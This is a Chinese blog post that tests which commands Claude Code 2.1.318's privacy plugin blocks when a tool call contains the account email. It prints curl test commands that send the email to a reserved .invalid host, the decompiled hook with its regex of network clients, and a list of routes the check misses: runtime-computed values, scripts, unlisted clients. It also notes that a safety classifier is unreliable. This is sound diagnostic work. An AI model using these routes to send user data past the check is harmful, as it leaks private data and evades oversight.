HN 上「Claude Code 把你的邮箱发给网站」这条帖子,今天是 1493 分、468 条评论。官方的说法是 2.1.317 起内置了 cc-plugin-privacy,默认开着,能拦住这件事。我这台机器正好是 npm 装的 2.1.318,~/.claude.json 里也有登录账号的邮箱。我按仓库源码里「该拦」和「不该拦」的形状各挑了命令,在交互会话里实际跑了一遍。
跑下来和两边的说法都不一样:4 条命令里插件拦了 2 条、放了 2 条。仓库公开的 mods/privacy 写的是「邮箱和 User-Agent 两个词同时出现才拒绝」,而 2.1.318 安装包里的实现认的是「邮箱加上一个外发客户端的名字」,并且判定从直接拒绝改成了弹确认。Windows 上还有人报 2.1.318 该拦的两条都没拦住,我这台同样版本的机器拦得住。
先说结论
| 命令 | 仓库 mods/privacy 的预期 |
我这台 2.1.318 的实际结果 |
|---|---|---|
echo "User-Agent: ... <邮箱>" > /dev/null |
拒绝 | 执行了,EXIT:0 |
curl -A "... <邮箱>" http://leak-test.invalid/ |
拒绝 | 插件拦住,命令没跑 |
curl "http://leak-test.invalid/?q=<邮箱>" |
放行 | 插件拦住,命令没跑 |
邮箱用 $(node -e ...) 现算,再写进 User-Agent |
放行 | 执行了,EXIT:0 |
三条可以带走的:
- 安装包比仓库源码拦得宽,不是窄。邮箱出现在
curl、wget、ssh这类客户端的命令里就会触发,不必再写 User-Agent。 - 触发之后不是拒绝,是弹确认。
-p这种没人应答的会话里,弹确认等于命令直接被拒。 - 邮箱要是运行时才算出来的,命令文本里没有它,检查就看不到,照样执行。

背景
事情的起因在 issue #107757。报告人用的是 2.1.318(macOS),说网页搜索时自己的邮箱被写进了请求的 User-Agent,随后收到大量诈骗邮件。帖子现在还开着,👍 637。
Anthropic 员工 poteat 在 issue 里回复:2.1.317 起内置了 cc-plugin-privacy,用来确定性拦住这种行为,默认开启,可以在 /plugins 里关掉。同一天 HN 上,lydia_hallie 补充了来龙去脉:以前有用户抱怨模型在 @author 之类的地方编造名字,于是把登录账号的邮箱放进了模型上下文;模型自己写 curl 时,有时会把这个邮箱当成联系地址填进 User-Agent。她说邮箱会在下个版本从上下文里拿掉,在那之前 2.1.317 及以后的内置模块会在「网页工具或 curl 风格的命令带了你的邮箱」时先问你。
v2.1.317 的发行说明 里对应的一条是:Added a check that asks before a web or shell tool call sends your account email address to the network。注意用词是 asks(先问),不是 refuses(拒绝)。
仓库里公开的实现在 mods/privacy,提交 90380ef,说明是 mods: add the privacy mod (#107768)。README 自己把边界写得很窄,原文是 This is a courtesy, not a boundary, and it covers one shape:只检查 Bash、PowerShell、Monitor 三种工具;输入里要同时有账号邮箱(大小写不敏感,也认一层百分号编码)和「User-Agent 这个词」,才直接拒绝,不弹确认。README 明确列出放行的情况:邮箱只出现在 URL、请求体、curl -u 或 From: 头里;WebFetch、WebSearch 和 MCP 工具不查;用 $(...) 现算出来的值、变量、文件名、脚本里写死的邮箱都不查。
issue 里已经有人对着这个实现做了实验。macOS 上有人用 2.1.318,插件列表里看得到 cc-plugin-privacy 且是启用状态,echo 'User-Agent: test <账号邮箱>' > /dev/null 却照样执行。Windows 11 上有人用 npm 的 2.1.318,echo 和 curl -A 两条都执行了,第二条 curl 打到 http://leak-test.invalid/,返回的是超时(exit 28),不是拒绝。
实测
环境:Windows 10,claude --version 输出 2.1.318 (Claude Code),npm 包 @anthropic-ai/claude-code 版本 2.1.318,二进制是 bin/claude.exe(约 327 MB 的 PE32+)。~/.claude.json 的 oauthAccount.emailAddress 有值。用户 settings 和 settings.local.json 里都没有 enabledPlugins,也就是没有 "cc-plugin-privacy@builtin": false 这种关闭项,插件按默认开着。测完我没有改这个开关。
这台机器平时开不了会话。~/.claude/settings.json 的 env 里写了 CLAUDE_CODE_USE_POWERSHELL_TOOL=0,而本机又没装 Git for Windows 到默认位置,直接跑会报:
text
Claude Code on Windows requires a shell tool. Git Bash was not found and the PowerShell tool is disabled (CLAUDE_CODE_USE_POWERSHELL_TOOL=0).
我没有改这份 settings。测试用的是一份去掉这一项的副本,再配上 CLAUDE_CODE_GIT_BASH_PATH 指向本机已有的 bash,会话才起得来。系统初始化事件里的插件列表是:
text
cc-plugin-agents-md@builtin
cc-plugin-telemetry@builtin
cc-plugin-privacy@builtin
cc-plugin-plugin-authoring@builtin
工具列表里有 Bash、PowerShell、Monitor,也有 WebFetch、WebSearch。下面 4 条都走 Bash 工具,目标域名用 .invalid(保留域名,不会解析,打不到任何第三方),输出打到 /dev/null。邮箱用的就是登录账号那个,下面用 <account email> 代替。
第一条,邮箱和 User-Agent 都写在命令里,但没有外发客户端:
bash
echo "User-Agent: test <account email>" > /dev/null; echo EXIT:$?
text
EXIT:0
工具结果 is_error: false,没有拒绝,也没有权限提示。这条按仓库源码应该被拒绝,实际没拦。
第二条,curl -A 带邮箱:
bash
curl -s -m 3 -A "test <account email>" http://leak-test.invalid/; echo EXIT:$?
text
Permission to use Bash denied by plugin cc-plugin-privacy: This call's input holds your account email address, which may leave this machine. If nobody asked to send it, go on without it.
工具结果 is_error: true,命令没有执行,自然也没有 EXIT: 那一行。拦是拦住了,但理由文本是「先问你」,不是仓库 refusal.ts 里那句 "This call was refused"。
第三条,邮箱只放在 URL 查询参数里,命令文本没有 User-Agent:
bash
curl -s -m 3 "http://leak-test.invalid/?q=<account email>"; echo EXIT:$?
text
Permission to use Bash denied by plugin cc-plugin-privacy: This call's input holds your account email address, which may leave this machine. If nobody asked to send it, go on without it.
和第二条一字不差。这条按仓库 README 明确放行(The address with no User-Agent named: a URL ...),安装包拦了。
第四条,邮箱不写进命令,运行时从环境变量算出来,再拼到带 User-Agent 字样的输出里:
bash
v=$(node -e "process.stdout.write(process.env.ACCOUNT_EMAIL||\"\")"); echo "User-Agent: fixed-agent $v" > /dev/null; echo EXIT:$?
text
EXIT:0
同样 is_error: false,没有提示。检查只看命令文本,文本里没有邮箱,所以放行。这跟 README 写的「现算出来的值不查」一致,安装包也没补上。
4 条命令是在 F:/desk_code/articles/jobs/claude-privacy-ua-check-1106 这个任务目录里、用 SpectrAI 里的 Agent 逐条发起的,每条的工具调用和原始返回都留在该目录的 src/out-*.json。
安装包里的钩子和仓库不是同一份
仓库源码解释不了我看到的结果,所以我直接在 bin/claude.exe 里找了字符串。cc-plugin-privacy 这个名字出现了 3 处,插件描述是:
text
Privacy: asks before a shell or web tool runs with the signed-in account's email address in a call that may leave the machine
钩子本体(变量名是压缩后的)是:
js
var l = ["WebBrowser", "WebFetch", "WebSearch"],
y = ["Bash", "Monitor", "PowerShell", "Tmux"],
_ = /\b(curl|wget|https?|httpie|xh|nc|ncat|socat|telnet|ssh|scp|sftp|rsync|ftp|lftp|rclone|iwr|irm|invoke-webrequest|invoke-restmethod)\b/;
var S = "This call's input holds your account email address, which may leave this machine. If nobody asked to send it, go on without it.";
function k(d) {
d("tool.check", { tool: [...l, ...y] }, async (m, o, f) => {
let e = await f(o);
if (e.decision === "deny") return e;
let a = JSON.stringify(o.input).toLowerCase(),
p = a.replace(/%([0-9a-f]{2})/g, (N, b) => String.fromCharCode(Number.parseInt(b, 16))),
r = `${a}\n${p}`.toLowerCase();
if (!r.includes("@")) return e;
let { email: h } = await m.session.identity(), s = h?.toLowerCase() ?? "";
if (s === "" || !r.includes(s)) return e;
let g = r.replaceAll(s, " ").replace(/\\(?:\\|[nrt])/g, " ");
return l.includes(o.tool) || _.test(g) ? { decision: "ask", reason: S } : e;
});
}
和仓库 mods/privacy/hooks/register.ts 比,有 4 处不一样:
- 多了工具。 仓库只挂 Bash、Monitor、PowerShell。安装包加上了 WebBrowser、WebFetch、WebSearch 和 Tmux。员工说的「web tool call 也会先问」在安装包里是真的,在仓库这份源码里没有。
- 判定条件换了。 仓库要命中
USER_AGENT_WORD(User-Agent、user_agent、--user-agent、UA=等)或CLIENT_FLAGS(curl配-A、wget配-U)。安装包只看命令里有没有上面那个客户端名单里的词,curl、wget、http、https、ssh、scp、iwr都算。所以第三条「邮箱只在 URL 里」会被拦:命令里有http。 - 结果是
ask不是deny。 仓库返回{ decision: 'deny', reason: REFUSAL },README 强调不弹确认、已保存的允许规则和 auto 模式的分类器都不能放开。安装包返回{ decision: "ask" },理由就是我在第二条、第三条里看到的那句原文。 - 有个服务端开关。 插件是否可用由
an("tengu_wise_newt", true)决定,第二个参数是默认值。同一台机器上别人报「插件在列表里但不拦截」,有可能卡在这个开关或者会话没加载钩子,单看版本号区分不了。
把我跑的 4 条代进这个函数:第一条没有客户端名,返回原判定,所以执行了;第二条、第三条命中 http,返回 ask,无人应答时变成拒绝;第四条把邮箱去掉后命令文本里既没有 @ 也没有邮箱,提前返回,所以执行了。4 条全部对得上。
还有一个仓库没写、实测里碰到的:我先试过把邮箱嵌进 curl 的查询参数、用命令替换现算的写法,那一条根本没到插件。返回是 "Your response above was stopped by a safety classifier --- this is not a tool or API error",工具调用被丢掉了。模型随后自己拒绝执行,理由是「这是把账号信息发到外部主机」。所以「没被插件拦住」不等于「命令会跑」------还有一层分类器,而且它看的是意图,不是命令文本。它不稳定,换一种不带外发语义的写法就不再触发,不能当成防护来依赖。
暂时做不了怎么办
- 想确认自己这台拦不拦,别看版本号,跑第一条和第二条就行。两条都不拦,说明钩子没生效,跟 issue 里那两位的情况一样;第二条拦、第一条不拦,就是我这台的情况。
- 插件拦不住的形状 :邮箱来自
$(...)、环境变量、文件内容;写进一个脚本再用解释器执行(命令行里只剩python fetch.py);用名单以外的客户端发。这些 README 和安装包都不覆盖。 .invalid只适合自测。它不会解析,用来区分「被拦」和「真的发出去了」正好。不要拿真实域名试,那是在用自己的邮箱做实验。- 关掉插件的方法 以 README 为准:
/plugin disable,或在用户、--settings、托管 settings 的enabledPlugins里写"cc-plugin-privacy@builtin": false。仓库级 settings 关不掉。我没动这个开关,上面的结果是默认状态下的。 - 根上的修复还没到。lydia_hallie 说的「把邮箱从模型上下文里移除」预定在下个版本,发行说明里 2.1.317 只加了这个先问一句的检查。检查看的是命令文本,上下文里还有邮箱,模型就还是能把它写进一个检查看不到的地方。
清单
-
claude --version,确认是不是 2.1.317 或更新 - 看
~/.claude/settings.json和settings.local.json的enabledPlugins里有没有"cc-plugin-privacy@builtin": false - 开一个会话,看系统初始化的插件列表里有没有
cc-plugin-privacy@builtin - 用
.invalid跑echo "User-Agent: ... <邮箱>"和curl -A "... <邮箱>"各一条,记下是执行、拒绝,还是弹确认 - 再跑一条邮箱只在 URL 里的
curl,确认自己这台认的是「User-Agent」还是「客户端名」 - 别用「插件开着」代替「邮箱不会出去」:现算的值、脚本里的值、名单外的客户端都不在检查范围里
参考
- Bug Report: Privacy violation in User-Agent header · Issue #107757
- Claude Code sends your email address to websites · Hacker News(本文取数时 1493 分、468 条评论)
- mods/privacy/README.md(提交
90380ef,#107768) - Claude Code v2.1.317 发行说明